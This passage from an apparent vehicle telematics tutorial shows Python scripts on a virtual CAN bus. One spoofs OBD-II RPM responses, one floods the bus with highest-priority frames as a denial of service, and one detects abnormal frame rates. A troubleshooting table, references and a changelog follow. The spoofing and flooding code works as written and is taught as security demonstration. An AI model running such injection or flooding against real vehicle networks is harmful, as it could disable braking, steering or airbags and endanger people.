bus = can.Bus(channel='vcan0', interface='socketcan')

# OBD-II RPM response format: Mode 0x41, PID 0x0C, A, B
# RPM = ((A * 256) + B) / 4
target_rpm = 6000
raw = int(target_rpm * 4)
a_byte = (raw >> 8) & 0xFF
b_byte = raw & 0xFF

# Spoof response on standard OBD-II response ID
msg = can.Message(
    arbitration_id=0x7E8,
    data=[0x04, 0x41, 0x0C, a_byte, b_byte, 0x00, 0x00, 0x00],
    is_extended_id=False
)

print(f"Injecting RPM={target_rpm} on vcan0 (Ctrl+C to stop)...")
try:
    while True:
        bus.send(msg)
        time.sleep(0.1)
except KeyboardInterrupt:
    pass
finally:
    bus.shutdown()

Expected output:

Injecting RPM=6000 on vcan0 (Ctrl+C to stop)...
^C

To verify, run candump vcan0 in a separate terminal — you will see repeated frames:

  vcan0  7E8   [8]  04 41 0C 5D C0 00 00 00
  vcan0  7E8   [8]  04 41 0C 5D C0 00 00 00
  ...

Script 2: Denial-of-Service (DoS) Flooding

#!/usr/bin/env python3
"""Flood virtual CAN bus with highest-priority frames.
EDUCATIONAL USE ONLY.
"""
import can

bus = can.Bus(channel='vcan0', interface='socketcan')
msg = can.Message(arbitration_id=0x000, data=[0]*8)

print("Flooding vcan0 with ID 0x000...")
count = 0
try:
    while True:
        bus.send(msg)
        count += 1
except KeyboardInterrupt:
    print(f"Sent {count} frames.")
finally:
    bus.shutdown()

Expected output:

Flooding vcan0 with ID 0x000...
^CSent 1482037 frames.

⚠️ Safety warning: On a real CAN bus, flooding with arbitration ID 0x000 would win every arbitration round and starve all other ECUs of bus access. This can disable braking, steering, and airbag systems. This is why physical CAN bus access must be protected — see CAN-04 Section 5 for Intrusion Detection System (IDS) approaches.

Script 3: Simple Anomaly Detector

#!/usr/bin/env python3
"""Monitor CAN bus message frequency for anomalies.
EDUCATIONAL USE ONLY.
"""
import can
import time
from collections import defaultdict

bus = can.Bus(channel='vcan0', interface='socketcan')
msg_count = defaultdict(int)
window_start = time.time()
WINDOW = 5.0  # seconds

print(f"Monitoring vcan0 ({WINDOW}s windows)...")
try:
    while True:
        msg = bus.recv(timeout=1.0)
        if msg:
            msg_count[msg.arbitration_id] += 1

        elapsed = time.time() - window_start
        if elapsed >= WINDOW:
            print(f"\n--- {time.strftime('%H:%M:%S')} ---")
            for cid in sorted(msg_count):
                rate = msg_count[cid] / elapsed
                alert = " *** HIGH RATE" if rate > 1000 else ""
                print(f"  0x{cid:03X}: {msg_count[cid]:6d} frames "
                      f"({rate:.0f}/s){alert}")
            msg_count.clear()
            window_start = time.time()
except KeyboardInterrupt:
    pass
finally:
    bus.shutdown()

Expected output (while Script 2 is running in another terminal):

Monitoring vcan0 (5.0s windows)...

--- 14:32:15 ---
  0x000: 1482037 frames (296407/s) *** HIGH RATE

The *** HIGH RATE flag triggers when any single arbitration ID exceeds 1,000 frames per second — a strong indicator of a DoS flood or a malfunctioning ECU. In a production IDS, you would compare observed rates against a learned baseline and raise alerts via a vehicle Application Programming Interface (API) or log to non-volatile storage.


Troubleshooting

# Symptom Likely cause Diagnostic step Resolution
1 python-OBD shows “Unable to connect” Adapter not paired/plugged in, wrong port, or adapter clone doesn’t support auto-detect Check adapter connection; try specifying port explicitly Pair Bluetooth adapter first; specify port path; try ATSP 0 for auto-detect
2 Commands return None or null responses Vehicle doesn’t support the requested PID Check supported PIDs: connection.query(obd.commands.PIDS_A) Only query PIDs reported as supported
3 ELM327 responds with “?” to OBD commands Wrong protocol setting, or adapter is a clone with limited firmware Send ATSP 0 (auto-detect); try ATZ (reset) first Auto-detect protocol; if clone, try lower protocols (6, then 7, then 8)
4 Bluetooth adapter disconnects randomly Signal interference, power saving mode, adapter overheating Check adapter temperature; ensure line of sight; check phone’s BT settings Move closer; disable BT power saving; use a USB adapter for reliability
5 EV shows very few supported PIDs EV ECUs don’t implement most traditional OBD2 PIDs Query PID 0x00 to see what’s supported; try UDS (Service 0x22) with known DIDs Use manufacturer-specific tools or UDS; check community databases for known DIDs
6 Adapter drains vehicle battery overnight Adapter stays powered via pin 16 (+12V permanent) with no sleep mode Measure adapter current draw with a multimeter in the +12V line Unplug adapter when not in use; choose adapter with auto-sleep (e.g., OBDLink MX+)
7 Data logging has gaps or missing samples ELM327 latency too high for the requested sample rate Time the round-trip for each query; calculate maximum sustainable query rate Reduce the number of monitored PIDs; use USB instead of Bluetooth; batch queries

References

  1. ELM Electronics — ELM327 Datasheet. Defines AT command set and protocol handling.

  2. python-OBD — Python OBD-II library. Repository: github.com/brendan-w/python-OBD.

  3. OBDLink / ScanTool — OBDLink adapter family documentation. STN1110/STN2120 command reference.

  4. SAE J1979-2:2021 — E/E Diagnostic Test Modes — OBDonUDS. Next-generation OBD standard using UDS.

  5. EPA — OBD II regulations. 40 CFR Part 86, Subpart S.

  6. CARB — OBD II regulations. Title 13, California Code of Regulations, Section 1968.2.

  7. SAE J1979:2014 — E/E Diagnostic Test Modes. Traditional OBD2 standard.

  8. Miller, C. and Valasek, C. (2015) — Remote Exploitation of an Unaltered Passenger Vehicle. CAN bus security research.

  9. NHTSA — Cybersecurity Best Practices for the Safety of Modern Vehicles. Guidance on vehicle network security.


Changelog

Version Date Author Summary of changes
1.0 2026-03-16 Telematics Tutorial Series Initial publication
1.1 2026-03-16 Telematics Tutorial Series Added J1979-2 EV DID worked examples, complete EV diagnostic walkthrough, CAN bus security demonstrations
1.2 2026-03-16 Telematics Tutorial Series Final polish: fixed cross-references (OBD-02 filename, added CAN-04/CAN-01 links), expanded all acronyms on first use (CAN FD, CARB, NHTSA, PSIRT, DoS, NRC, BMS, BEV, PHEV, IDS, API, vcan, pip), added expected output blocks to all code examples, added safety warnings to security demos, strengthened J1979-2 transition rationale, added J1979 vs J1979-2 comparison table and code example, expanded EV gap section with BEV/PHEV/BMS context, numbered all subsections

```